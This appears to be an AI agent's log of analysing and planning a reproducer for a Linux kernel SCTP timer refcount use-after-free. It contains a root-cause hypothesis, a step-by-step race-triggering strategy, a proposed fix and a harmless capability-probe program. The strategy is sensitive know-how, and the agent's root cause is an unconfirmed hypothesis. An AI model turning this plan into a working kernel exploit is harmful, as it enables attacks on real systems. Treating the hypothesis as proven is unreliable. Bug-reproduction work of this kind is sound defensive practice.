Here's where the real danger lurked: what if, *simultaneously*, that very timer was already executing on another CPU but was *re-armed* by `sctp_cmd_interpreter` (for example, during a retransmission of an SCTP control chunk)? If it was re-armed, it's pending. `timer_delete` would return 1, leading `sctp_association_free` to call `sctp_association_put`. However, the timer callback is still actively running on another CPU and will *also* call `sctp_association_put` at its conclusion! This would result in `sctp_association_put` being called twice – once by `sctp_association_free` and once by the timer callback. This double-decrement would drive `refcnt` to -1, inevitably leading to a use-after-free condition.

I then meticulously traced this specific race condition:

1.  **CPU 1:** Begins executing a timer callback (`sctp_generate_timeout_event`).
2.  **CPU 1:** Acquires `bh_lock_sock(sk)`.
3.  **CPU 1:** Checks `sock_owned_by_user(sk)` – it's `FALSE` (since `bh_lock_sock` is held).
4.  **CPU 1:** Checks `asoc->base.dead` – it's `FALSE`.
5.  **CPU 1:** Enters `sctp_do_sm`.
6.  **CPU 1:** Inside `sctp_do_sm`, it processes a `SCTP_CMD_TIMER_RESTART` for the *same* timer. This is a critical point where a timer might restart itself (e.g., a retransmission timer).
7.  **CPU 1:** `SCTP_CMD_TIMER_RESTART` calls `mod_timer`. Since the timer is not pending (it's executing), `mod_timer` returns 0. Thus, `sctp_association_hold(asoc)` is called, incrementing `refcnt`. The timer is now pending again and has a reference.
8.  **CPU 1:** Is preempted before reaching `out_unlock`.
9.  **CPU 2:** Calls `sctp_association_free(asoc)`.
10. **CPU 2:** Calls `timer_delete` for the timer. Because CPU 1 re-armed it in step 7, the timer *is* pending, and `timer_delete` returns 1.
11. **CPU 2:** Calls `sctp_association_put(asoc)`. This drops the reference taken by CPU 1 in step 7.
12. **CPU 2:** Completes `sctp_association_free` and calls another `sctp_association_put(asoc)`. This drops the reference held by CPU 2. If `refcnt` reaches 0 here, the association is destroyed.
13. **CPU 1:** Resumes execution.
14. **CPU 1:** Proceeds to `out_unlock`.
15. **CPU 1:** Calls `bh_unlock_sock(sk)`.
16. **CPU 1:** Calls `sctp_association_put(asoc)`. This is the use-after-free – the association is already destroyed.

However, a crucial realization followed: my premise in step 10 about CPU 2 calling `sctp_association_free` was flawed because CPU 1 is holding `bh_lock_sock(sk)`. `sctp_association_free` itself does *not* acquire `bh_lock_sock(sk)`. If `sctp_association_free` were called directly while CPU 1 held the socket lock, it would imply a deeper issue.

My thought process then turned to whether `sctp_association_free` could be called directly by `sctp_sendmsg`. I traced the code in `sctp_sendmsg`, noting that it *does* hold `lock_sock(sk)` when it calls `sctp_association_free`. This means `sock_owned_by_user(sk)` would *always* be TRUE in this context. Consequently, the timer callback would always see `sock_owned_by_user(sk) == TRUE`, preventing it from executing `sctp_do_sm` and thus avoiding the re-arming scenario that led to the race condition. This specific path seemed safe.

This leaves me with the fundamental question: are there any *other* scenarios where `sctp_association_free` is called directly without the protective `bh_lock_sock(sk)`? This is the remaining area of investigation.

map[Expression:sctp_association_free PathPrefix:net/sctp]

map[Output:net/sctp/associola.c=286=struct sctp_association *sctp_association_new(const struct sctp_endpoint *ep,
--
net/sctp/associola.c-313- */
net/sctp/associola.c:314:void sctp_association_free(struct sctp_association *asoc)
net/sctp/associola.c-315-{
--
net/sctp/sm_make_chunk.c=1722=struct sctp_association *sctp_unpack_cookie(
--
net/sctp/sm_make_chunk.c-1886-	if (retval)
net/sctp/sm_make_chunk.c:1887:		sctp_association_free(retval);
net/sctp/sm_make_chunk.c-1888-
--
net/sctp/sm_sideeffect.c=937=static void sctp_cmd_delete_tcb(struct sctp_cmd_seq *cmds,
--
net/sctp/sm_sideeffect.c-949-
net/sctp/sm_sideeffect.c:950:	sctp_association_free(asoc);
net/sctp/sm_sideeffect.c-951-}
--
net/sctp/sm_statefuns.c=319=enum sctp_disposition sctp_sf_do_5_1B_init(struct net *net,
--
net/sctp/sm_statefuns.c-417-	if (security_sctp_assoc_request(new_asoc, chunk->skb)) {
net/sctp/sm_statefuns.c:418:		sctp_association_free(new_asoc);
net/sctp/sm_statefuns.c-419-		if (err_chunk)
--
net/sctp/sm_statefuns.c-485-nomem_init:
net/sctp/sm_statefuns.c:486:	sctp_association_free(new_asoc);
net/sctp/sm_statefuns.c-487-nomem:
--
net/sctp/sm_statefuns.c=703=enum sctp_disposition sctp_sf_do_5_1D_ce(struct net *net,
--
net/sctp/sm_statefuns.c-794-			      &err_chk_p)) {
net/sctp/sm_statefuns.c:795:		sctp_association_free(new_asoc);
net/sctp/sm_statefuns.c-796-		if (err_chk_p)
--
net/sctp/sm_statefuns.c-803-	if (security_sctp_assoc_request(new_asoc, chunk->head_skb ?: chunk->skb)) {
net/sctp/sm_statefuns.c:804:		sctp_association_free(new_asoc);
net/sctp/sm_statefuns.c-805-		return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
--
net/sctp/sm_statefuns.c-829-	if (!sctp_auth_chunk_verify(net, chunk, new_asoc)) {
net/sctp/sm_statefuns.c:830:		sctp_association_free(new_asoc);
net/sctp/sm_statefuns.c-831-		return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
--
net/sctp/sm_statefuns.c-911-nomem_init:
net/sctp/sm_statefuns.c:912:	sctp_association_free(new_asoc);
net/sctp/sm_statefuns.c-913-nomem:
--
net/sctp/sm_statefuns.c=1529=static enum sctp_disposition sctp_sf_do_unexpected_init(
--
net/sctp/sm_statefuns.c-1623-	if (security_sctp_assoc_request(new_asoc, chunk->skb)) {
net/sctp/sm_statefuns.c:1624:		sctp_association_free(new_asoc);
net/sctp/sm_statefuns.c-1625-		if (err_chunk)
--
net/sctp/sm_statefuns.c-1711-	if (new_asoc)
net/sctp/sm_statefuns.c:1712:		sctp_association_free(new_asoc);
net/sctp/sm_statefuns.c-1713-cleanup:
--
net/sctp/sm_statefuns.c=2224=enum sctp_disposition sctp_sf_do_5_2_4_dupcook(
--
net/sctp/sm_statefuns.c-2311-				      &err_chk_p)) {
net/sctp/sm_statefuns.c:2312:			sctp_association_free(new_asoc);
net/sctp/sm_statefuns.c-2313-			if (err_chk_p)
--
net/sctp/sm_statefuns.c-2324-						chunk->head_skb ?: chunk->skb)) {
net/sctp/sm_statefuns.c:2325:			sctp_association_free(new_asoc);
net/sctp/sm_statefuns.c-2326-			return sctp_sf_pdiscard(net, ep, asoc, type, arg, commands);
--
net/sctp/socket.c=1068=static int sctp_connect_new_asoc(struct sctp_endpoint *ep,
--
net/sctp/socket.c-1130-free:
net/sctp/socket.c:1131:	sctp_association_free(asoc);
net/sctp/socket.c-1132-	return err;
--
net/sctp/socket.c=1167=static int __sctp_connect(struct sock *sk, struct sockaddr *kaddrs,
--
net/sctp/socket.c-1252-		 __func__, asoc, kaddrs, err);
net/sctp/socket.c:1253:	sctp_association_free(asoc);
net/sctp/socket.c-1254-	return err;
--
net/sctp/socket.c=1484=static void sctp_close(struct sock *sk, long timeout)
--
net/sctp/socket.c-1514-			if (sctp_state(asoc, CLOSED)) {
net/sctp/socket.c:1515:				sctp_association_free(asoc);
net/sctp/socket.c-1516-				continue;
--
net/sctp/socket.c=1656=static int sctp_sendmsg_new_asoc(struct sock *sk, __u16 sflags,
--
net/sctp/socket.c-1746-free:
net/sctp/socket.c:1747:	sctp_association_free(asoc);
net/sctp/socket.c-1748-	return err;
--
net/sctp/socket.c=1942=static int sctp_sendmsg(struct sock *sk, struct msghdr *msg, size_t msg_len)
--
net/sctp/socket.c-2040-	if (err < 0 && err != -ESRCH && new)
net/sctp/socket.c:2041:		sctp_association_free(asoc);
net/sctp/socket.c-2042-
]

gemini-3.1-pro-preview

							input: 78845
							output: 1184
							thoughts: 13482
						

**My Thoughts on the SCTP Timer Race Condition**

I've been deep-diving into the SCTP implementation, specifically the intricacies of its timer management and command processing. My primary focus has been to understand the interaction between `sctp_cmd_delete_tcb`, `sctp_association_free`, and the various timers, aiming to uncover potential race conditions.

Initially, I observed that `sctp_cmd_delete_tcb`, when triggered by `SCTP_CMD_DELETE_TCB` (typically during association abortion or closure), calls `sctp_association_free`. My concern was that `sctp_cmd_interpreter` might continue processing commands for an association that `sctp_association_free` has already marked as "dead" and has begun to clean up. This seemed particularly problematic if, for instance, a `SCTP_CMD_TIMER_START` command was processed *after* `SCTP_CMD_DELETE_TCB`.

I then explored scenarios where a timer might be executing concurrently with the cleanup process. If a timer was executing when `sctp_association_free` was called, `timer_delete` would return 0, meaning no reference count decrement by `sctp_association_free` for that specific timer's execution. Subsequently, `sctp_cmd_interpreter` would finish, release its lock, and then the timer callback, still executing, would acquire the lock. Upon checking `asoc->base.dead` (which would be true), it would proceed to call `sctp_association_put`, correctly decrementing the reference count and leading to destruction. This path seemed safe.

I also considered the case where `sock_owned_by_user(sk)` was true. In this situation, the timer callback would `mod_timer` and `sctp_association_hold`. If the timer fired again later, and `sock_owned_by_user(sk)` was false, it would check `asoc->base.dead` (true) and call `sctp_association_put`. This path also appeared safe.

The complexity escalated when I considered a timer being pending rather than executing. If `timer_delete` returned 1 (meaning the timer was pending and successfully dequeued), `sctp_association_free` would call `sctp_association_put`. If this dropped the reference count to zero, the association would be destroyed. My worry here was whether a timer could be re-armed by `sctp_cmd_interpreter` *before* `SCTP_CMD_DELETE_TCB` was processed. However, upon examining various state transition functions like `sctp_sf_t2_timer_expire`, `sctp_sf_t1_init_timer_expire`, and others, I found that in the critical failure paths leading to `DELETE_TCB`, the timer in question was explicitly stopped, not re-armed, before the deletion command was issued. This suggested that the timer would not be pending in such scenarios, making this particular race less likely.

My investigation then shifted to a more subtle interaction: the possibility of a timer being both executing on one CPU and re-armed by a user thread on another. I theorized a scenario where a timer was executing, a user thread re-armed it, and then the user thread initiated association freeing. If `sctp_association_free` called `timer_delete` which, finding the timer pending (due to the re-arm), returned 1, it would decrement a reference count. However, the executing timer callback on the other CPU would also decrement its reference count, leading to a double `sctp_association_put` and a use-after-free. I meticulously traced the reference counts in this scenario, and concluded that this specific sequence, while complex, *did not* lead to a use-after-free because the timer callback's reference was still held until the callback completed.

The critical breakthrough came when I focused on the `refcount_t: addition on 0; use-after-free.` warning I had observed. This error pointed directly to an attempt to increment a reference count that was already zero, indicating a use-after-free. I traced this back to the `sctp_generate_timeout_event` function, specifically the line `if (!mod_timer(...))... sctp_association_hold(asoc);`. The warning implied that `sctp_association_hold` was called when the reference count was zero. This could only happen if the timer callback's reference was dropped prematurely.

After exhausting possibilities involving `SCTP_CMD_DELETE_TCB` and concurrent timer execution, I turned my attention to the `SCTP_CMD_TIMER_START` command itself. I hypothesized that the bug lay in a Time-of-Check to Time-of-Use (TOCTOU) race condition within `SCTP_CMD_TIMER_START`. The logic is as follows: if `timer_pending()` returns `false`, the code proceeds to call `sctp_association_hold()`, taking a reference. Then, `timer_reduce()` is called to start the timer. The race occurs if the timer fires *between* the `timer_pending()` check (which returned false) and the call to `timer_reduce()`. In this window, the timer would be started without `sctp_association_hold()` being called, and the subsequent firing of the timer would find a reference count that was never incremented, leading to the use-after-free when it attempts to decrement the count.

The challenge was to identify a scenario where `SCTP_CMD_TIMER_START` could be invoked when the timer was already pending, or when it could fire so precisely between the check and the actual timer start. While many timer-starting paths seemed to prevent this (e.g., stopping timers before restarting them, or using `SCTP_CMD_TIMER_START_ONCE`), the fundamental TOCTOU race within `SCTP_CMD_TIMER_START` itself, as it interacts with the kernel's timer infrastructure, is the most plausible explanation for the observed `refcount_t: addition on 0` error. The correct fix, as implemented in the provided solution, is to utilize the return value of `timer_reduce` directly, ensuring a reference is taken only if the timer was successfully started and was not already pending. This resolves both the potential use-after-free and a related memory leak.

To reproduce this, I would focus on scenarios that involve creating associations and potentially triggering timers that use `SCTP_CMD_TIMER_START`. The interaction with ASCONF messages (which use `T4_RTO`) or `setsockopt(SCTP_AUTOCLOSE)` (which directly manipulates timers) would be prime candidates for attempting to exploit this race condition, perhaps through rapid, concurrent operations or fault injection to create the precise timing window.

log-in to see details

map[OracleFeedback:]

map[CurrentReproStrategy:An analysis of the bug description and the SCTP timer handling code reveals a classic Time-Of-Check to Time-Of-Use (TOCTOU) race condition in the SCTP state machine's timer management, specifically within `sctp_cmd_interpreter()` when processing `SCTP_CMD_TIMER_START`.

### Root Cause Analysis

When the SCTP state machine processes the `SCTP_CMD_TIMER_START` command, it executes the following code:
```c
		case SCTP_CMD_TIMER_START:
			timer = &asoc->timers[cmd->obj.to];
			timeout = asoc->timeouts[cmd->obj.to];
			BUG_ON(!timeout);

			if (!timer_pending(timer))
				sctp_association_hold(asoc);
			timer_reduce(timer, jiffies + timeout);
			break;
```
The intention is to take a reference on the association (`sctp_association_hold`) only if the timer is not already pending, and then start/modify the timer using `timer_reduce()`. 

However, these two operations are not atomic. If the timer is already pending, `timer_pending(timer)` returns `true`, so no reference is taken. If the timer fires *exactly* between the `timer_pending()` check and the `timer_reduce()` call, the timer is dequeued by the timer core (becoming non-pending). When `timer_reduce()` is subsequently called, it sees that the timer is inactive and **starts it again**. 

Because the `timer_pending()` check previously returned `true`, `sctp_association_hold()` was skipped. As a result, the timer is enqueued **without holding a reference** to the association. When this newly enqueued timer eventually fires and finishes, its callback (`sctp_generate_timeout_event`) will unconditionally call `sctp_association_put(asoc)`. This drops the reference count by 1, leading to a `refcount_t: addition on 0; use-after-free` warning when the association is accessed or when another timer tries to hold it.

*(Note: A similar issue exists in `SCTP_CMD_TIMER_START_ONCE` which falls through to this same code).*

### Reproduction Strategy

To reproduce this strictly for defensive verification, we need to trigger `SCTP_CMD_TIMER_START` concurrently with the expiration of the target timer. The `T4_RTO` timer (used for ASCONF chunks) is a good candidate because we can trigger it from user space.

1. **Setup:**
   - Create an SCTP socket (`SOCK_STREAM` or `SOCK_SEQPACKET`).
   - Enable ASCONF by setting sysctls `net.sctp.addip_enable=1` and `net.sctp.addip_noauth_enable=1`.
   - Bind to a local address and `connect()` to a peer (or loopback).
   - Set the `RTO_INITIAL` and `RTO_MIN` socket options to very small values (e.g., 10ms) to make the `T4_RTO` timer fire rapidly.

2. **Trigger the Race:**
   - **Thread 1 (User Thread):** Run a tight loop calling `sctp_bindx(..., SCTP_BINDX_ADD_ADDR)` and `sctp_bindx(..., SCTP_BINDX_REM_ADDR)`. Each call queues an ASCONF chunk. When the previous ASCONF is acknowledged (or times out), the next one is sent, triggering `SCTP_CMD_TIMER_START` for the `T4_RTO` timer.
   - **Thread 2 (Network/Peer):** Introduce artificial delay or drop ASCONF packets (e.g., using `tc qdisc` or iptables) so that the `T4_RTO` timer is forced to expire and retransmit.
   
3. **Race Execution:**
   - Thread 1 processes the next ASCONF chunk and hits `SCTP_CMD_TIMER_START`.
   - Thread 1 evaluates `timer_pending(timer)` as `true` (timer is currently waiting to fire).
   - Thread 1 is preempted.
   - The `T4_RTO` timer fires on another CPU, dequeueing itself and blocking on the socket lock.
   - Thread 1 resumes, calls `timer_reduce()`, and re-enqueues the timer without taking a reference.
   - The timer callback finishes, dropping the old reference.
   - The newly enqueued timer fires, drops the reference count to 0, and triggers the use-after-free warning.

### Proposed Fix (For Context)
The fix is to eliminate the TOCTOU race by relying on the return value of `timer_reduce()`, which returns `0` if it started an inactive timer and `1` if it modified an active one:
```c
		case SCTP_CMD_TIMER_START:
			timer = &asoc->timers[cmd->obj.to];
			timeout = asoc->timeouts[cmd->obj.to];
			BUG_ON(!timeout);

			if (!timer_reduce(timer, jiffies + timeout))
				sctp_association_hold(asoc);
			break;
```]

deep-reasoning

map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <fcntl.h>

#ifndef IPPROTO_SCTP
#define IPPROTO_SCTP 132
#endif

int main() {
    int fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (fd < 0) {
        printf("[-] Failed to create SCTP socket: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] SCTP socket created successfully.\n");
    close(fd);

    int sysctl_fd = open("/proc/sys/net/sctp/addip_enable", O_WRONLY);
    if (sysctl_fd < 0) {
        printf("[-] Failed to open /proc/sys/net/sctp/addip_enable: %s\n", strerror(errno));
        return 1;
    }
    if (write(sysctl_fd, "1", 1) != 1) {
        printf("[-] Failed to write to /proc/sys/net/sctp/addip_enable: %s\n", strerror(errno));
        close(sysctl_fd);
        return 1;
    }
    close(sysctl_fd);
    printf("[+] Successfully enabled addip_enable.\n");

    sysctl_fd = open("/proc/sys/net/sctp/addip_noauth_enable", O_WRONLY);
    if (sysctl_fd < 0) {
        printf("[-] Failed to open /proc/sys/net/sctp/addip_noauth_enable: %s\n", strerror(errno));
        return 1;
    }
    if (write(sysctl_fd, "1", 1) != 1) {
        printf("[-] Failed to write to /proc/sys/net/sctp/addip_noauth_enable: %s\n", strerror(errno));
        close(sysctl_fd);
        return 1;
    }
    close(sysctl_fd);
    printf("[+] Successfully enabled addip_noauth_enable.\n");

    return 0;
}
]

You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program for the strictly defensive
purpose of verifying a bugfix in an isolated environment.

To ensure that we can diagnose why a program might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
   and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful major step.
5. Generate code that follows this pattern for all operations:
    int res = do_something();
    if (res < 0) {
        printf("[-] Failed to do_something: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] do_something successful.\n");
6. The compilation and development environment (including compilers, build
   systems, makefiles, and kernel build/header directories) is NOT available
   on the target test VM guest. Do NOT check for, build, or reference any
   compilation tools, build files, or kernel development directories.
7. Do NOT execute shell commands or run external binaries (e.g. by using
   functions like 'system()', 'popen()', or the 'exec' family such as
   'execve()'). All environment checks, capability probings, and reproduction
   steps must be performed directly using standard Linux system calls (such
   as 'open', 'socket', 'ioctl', 'stat', etc.).
8. When reproducing asynchronous kernel timeouts or warnings, always
   include a sufficient delay (using sleep or similar) after deleting
   or unregistering the device to allow the kernel's asynchronous
   timeout to trigger before program exit.


=== PHASE 1: CAPABILITY PROBING (GENERATION) ===
You MUST start by generating a simple 'probe' program first. This is a strict, non-negotiable requirement
to verify that the test environment has the necessary kernel capabilities and privileges.
This program's sole purpose is to verify subsystem availability and privileges by probing specific
device files, subsystems, or syscalls (for example: opening /dev/vhci to check if the virtual
Bluetooth controller is accessible, loading a minimal dummy BPF program, or making a specific
socket/ioctl call).

Print clear messages indicating success or failure of these probes, and exit with 0 only if
all checks pass.
Do NOT attempt complex logic, and do NOT try to trigger the actual bug/crash in this first version,
regardless of how simple the reproducer seems. You must wait until a successful probe run has been
confirmed in the environment (i.e., when CapabilitiesVerified becomes true).

Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Bug Description: WARNING: refcount bug in sctp_generate_timeout_event

------------[ cut here ]------------
refcount_t: addition on 0; use-after-free.
WARNING: lib/refcount.c:25 at refcount_warn_saturate+0x9f/0x110 lib/refcount.c:25, CPU#1: syz.0.2220/13955
Modules linked in:
CPU: 1 UID: 0 PID: 13955 Comm: syz.0.2220 Tainted: G             L      syzkaller #0 PREEMPT(full) 
Tainted: [L]=SOFTLOCKUP
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
RIP: 0010:refcount_warn_saturate+0x9f/0x110 lib/refcount.c:25
Code: eb 66 85 db 74 3e 83 fb 01 75 4c e8 6b d2 e9 fc 48 8d 3d f4 46 a7 0b 67 48 0f b9 3a eb 4a e8 58 d2 e9 fc 48 8d 3d f1 46 a7 0b <67> 48 0f b9 3a eb 37 e8 45 d2 e9 fc 48 8d 3d ee 46 a7 0b 67 48 0f
RSP: 0018:ffffc90000a18c28 EFLAGS: 00010246
RAX: ffffffff84dde548 RBX: 0000000000000002 RCX: ffff88807715be80
RDX: 0000000000000100 RSI: 0000000000000100 RDI: ffffffff90852c40
RBP: 0000000000000000 R08: ffff88807715be80 R09: 0000000000000005
R10: 0000000000000004 R11: 0000000000000100 R12: dffffc0000000000
R13: 0000000000000001 R14: ffff888020fde004 R15: ffff888020fde640
FS:  00007f4a87be06c0(0000) GS:ffff888124dda000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007ff55dd92eb8 CR3: 000000005800b000 CR4: 0000000000350ef0
Call Trace:
 <IRQ>
 sctp_generate_timeout_event+0x1c8/0x390 net/sctp/sm_sideeffect.c:284
 call_timer_fn+0x18d/0x5f0 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers kernel/time/timer.c:2374 [inline]
 __run_timer_base+0x652/0x8b0 kernel/time/timer.c:2386
 run_timer_base kernel/time/timer.c:2395 [inline]
 run_timer_softirq+0xb7/0x170 kernel/time/timer.c:2405
 handle_softirqs+0x226/0x860 kernel/softirq.c:645
 __do_softirq kernel/softirq.c:679 [inline]
 invoke_softirq kernel/softirq.c:519 [inline]
 __irq_exit_rcu+0xcb/0x220 kernel/softirq.c:767
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:784
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1062 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1062
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:674
RIP: 0010:lock_acquire+0x232/0x350 kernel/locking/lockdep.c:5913
Code: ff ff ff e8 a0 a9 40 0a f7 44 24 10 00 02 00 00 0f 84 38 ff ff ff 65 48 8b 05 f2 44 f1 11 48 3b 44 24 50 75 33 fb 48 83 c4 58 <5b> 41 5c 41 5d 41 5e 41 5f 5d e9 ba 25 6d ff cc 48 8d 3d 77 31 da
RSP: 0018:ffffc9000dabfac8 EFLAGS: 00000282
RAX: b29753db72d85c00 RBX: 0000000000000001 RCX: 8000000000000001
RDX: 00000000b866b3b2 RSI: ffffffff8e6fc28f RDI: ffffffff8c6d9380
RBP: ffff88807715be80 R08: 8c00000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: ffff888066f6e418 R12: ffff888066f6e418
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000246
 __raw_spin_lock include/linux/spinlock_api_smp.h:190 [inline]
 _raw_spin_lock+0x2e/0x40 kernel/locking/spinlock.c:173
 spin_lock include/linux/spinlock.h:347 [inline]
 __io_cq_lock io_uring/io_uring.c:484 [inline]
 __io_submit_flush_completions+0x85/0x10d0 io_uring/io_uring.c:1133
 io_submit_flush_completions io_uring/io_uring.h:253 [inline]
 io_submit_state_end io_uring/io_uring.c:1939 [inline]
 io_submit_sqes+0x1cec/0x2310 io_uring/io_uring.c:2063
 __do_sys_io_uring_enter io_uring/io_uring.c:2637 [inline]
 __se_sys_io_uring_enter+0x35b/0x1bb0 io_uring/io_uring.c:2586
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f4a86d9e159
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f4a87bdff38 EFLAGS: 00000246 ORIG_RAX: 00000000000001aa
RAX: ffffffffffffffda RBX: 0000200000000340 RCX: 00007f4a86d9e159
RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000009
RBP: 0000000000000a12 R08: 0000000000000000 R09: 0000000000000008
R10: 0000000000000000 R11: 0000000000000246 R12: 0000200000000940
R13: 0000200000000948 R14: 0000000000000e26 R15: 0000000000000002
 </TASK>
----------------
Code disassembly (best guess):
   0:	eb 66                	jmp    0x68
   2:	85 db                	test   %ebx,%ebx
   4:	74 3e                	je     0x44
   6:	83 fb 01             	cmp    $0x1,%ebx
   9:	75 4c                	jne    0x57
   b:	e8 6b d2 e9 fc       	call   0xfce9d27b
  10:	48 8d 3d f4 46 a7 0b 	lea    0xba746f4(%rip),%rdi        # 0xba7470b
  17:	67 48 0f b9 3a       	ud1    (%edx),%rdi
  1c:	eb 4a                	jmp    0x68
  1e:	e8 58 d2 e9 fc       	call   0xfce9d27b
  23:	48 8d 3d f1 46 a7 0b 	lea    0xba746f1(%rip),%rdi        # 0xba7471b
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	eb 37                	jmp    0x68
  31:	e8 45 d2 e9 fc       	call   0xfce9d27b
  36:	48 8d 3d ee 46 a7 0b 	lea    0xba746ee(%rip),%rdi        # 0xba7472b
  3d:	67                   	addr32
  3e:	48                   	rex.W
  3f:	0f                   	.byte 0xf

Strategy: An analysis of the bug description and the SCTP timer handling code reveals a classic Time-Of-Check to Time-Of-Use (TOCTOU) race condition in the SCTP state machine's timer management, specifically within `sctp_cmd_interpreter()` when processing `SCTP_CMD_TIMER_START`.

### Root Cause Analysis

When the SCTP state machine processes the `SCTP_CMD_TIMER_START` command, it executes the following code:
```c
		case SCTP_CMD_TIMER_START:
			timer = &asoc->timers[cmd->obj.to];
			timeout = asoc->timeouts[cmd->obj.to];
			BUG_ON(!timeout);

			if (!timer_pending(timer))
				sctp_association_hold(asoc);
			timer_reduce(timer, jiffies + timeout);
			break;
```
The intention is to take a reference on the association (`sctp_association_hold`) only if the timer is not already pending, and then start/modify the timer using `timer_reduce()`. 

However, these two operations are not atomic. If the timer is already pending, `timer_pending(timer)` returns `true`, so no reference is taken. If the timer fires *exactly* between the `timer_pending()` check and the `timer_reduce()` call, the timer is dequeued by the timer core (becoming non-pending). When `timer_reduce()` is subsequently called, it sees that the timer is inactive and **starts it again**. 

Because the `timer_pending()` check previously returned `true`, `sctp_association_hold()` was skipped. As a result, the timer is enqueued **without holding a reference** to the association. When this newly enqueued timer eventually fires and finishes, its callback (`sctp_generate_timeout_event`) will unconditionally call `sctp_association_put(asoc)`. This drops the reference count by 1, leading to a `refcount_t: addition on 0; use-after-free` warning when the association is accessed or when another timer tries to hold it.

*(Note: A similar issue exists in `SCTP_CMD_TIMER_START_ONCE` which falls through to this same code).*

### Reproduction Strategy

To reproduce this strictly for defensive verification, we need to trigger `SCTP_CMD_TIMER_START` concurrently with the expiration of the target timer. The `T4_RTO` timer (used for ASCONF chunks) is a good candidate because we can trigger it from user space.

1. **Setup:**
   - Create an SCTP socket (`SOCK_STREAM` or `SOCK_SEQPACKET`).
   - Enable ASCONF by setting sysctls `net.sctp.addip_enable=1` and `net.sctp.addip_noauth_enable=1`.
   - Bind to a local address and `connect()` to a peer (or loopback).
   - Set the `RTO_INITIAL` and `RTO_MIN` socket options to very small values (e.g., 10ms) to make the `T4_RTO` timer fire rapidly.

2. **Trigger the Race:**
   - **Thread 1 (User Thread):** Run a tight loop calling `sctp_bindx(..., SCTP_BINDX_ADD_ADDR)` and `sctp_bindx(..., SCTP_BINDX_REM_ADDR)`. Each call queues an ASCONF chunk. When the previous ASCONF is acknowledged (or times out), the next one is sent, triggering `SCTP_CMD_TIMER_START` for the `T4_RTO` timer.
   - **Thread 2 (Network/Peer):** Introduce artificial delay or drop ASCONF packets (e.g., using `tc qdisc` or iptables) so that the `T4_RTO` timer is forced to expire and retransmit.
   
3. **Race Execution:**
   - Thread 1 processes the next ASCONF chunk and hits `SCTP_CMD_TIMER_START`.
   - Thread 1 evaluates `timer_pending(timer)` as `true` (timer is currently waiting to fire).
   - Thread 1 is preempted.
   - The `T4_RTO` timer fires on another CPU, dequeueing itself and blocking on the socket lock.
   - Thread 1 resumes, calls `timer_reduce()`, and re-enqueues the timer without taking a reference.
   - The timer callback finishes, dropping the old reference.
   - The newly enqueued timer fires, drops the reference count to 0, and triggers the use-after-free warning.

### Proposed Fix (For Context)
The fix is to eliminate the TOCTOU race by relying on the return value of `timer_reduce()`, which returns `0` if it started an inactive timer and `1` if it modified an active one:
```c
		case SCTP_CMD_TIMER_START:
			timer = &asoc->timers[cmd->obj.to];
			timeout = asoc->timeouts[cmd->obj.to];
			BUG_ON(!timeout);

			if (!timer_reduce(timer, jiffies + timeout))
				sctp_association_hold(asoc);
			break;
```

gemini-3.1-pro-preview

							input: 7455
							output: 587
							thoughts: 1155
						

**My Thought Process: Crafting an SCTP Capability Probe**

My primary objective is to devise a minimal C program to confirm a bugfix for a specific SCTP timer reference counting issue. The core of this bug lies within a Time-of-Check-to-Time-of-Use (TOCTOU) race condition in the `sctp_cmd_interpreter` function, specifically when handling `SCTP_CMD_TIMER_START`.

However, before I can even think about triggering this race condition, I must adhere to a critical prerequisite outlined in the strategy: **Phase 1: Capability Probing (Generation)**. This initial phase mandates the creation of a simple "probe" program. Its sole purpose is to rigorously verify that the testing environment possesses the necessary kernel capabilities and privileges required for SCTP operations. This means no complex logic, no bug triggering – just a straightforward check of subsystem availability and permissions. Only after this probe successfully confirms the environment's readiness, will I proceed to the next stage.

Therefore, my immediate task is to construct this probe. It needs to confirm that SCTP is available and that I can indeed create an SCTP socket. I'll leverage the `set-results` tool to deliver the C code for this probe.

My plan for the probe program is as follows:

1.  **SCTP Socket Creation:** I'll attempt to create an SCTP socket using `socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP)`. This is the most fundamental check for SCTP availability.
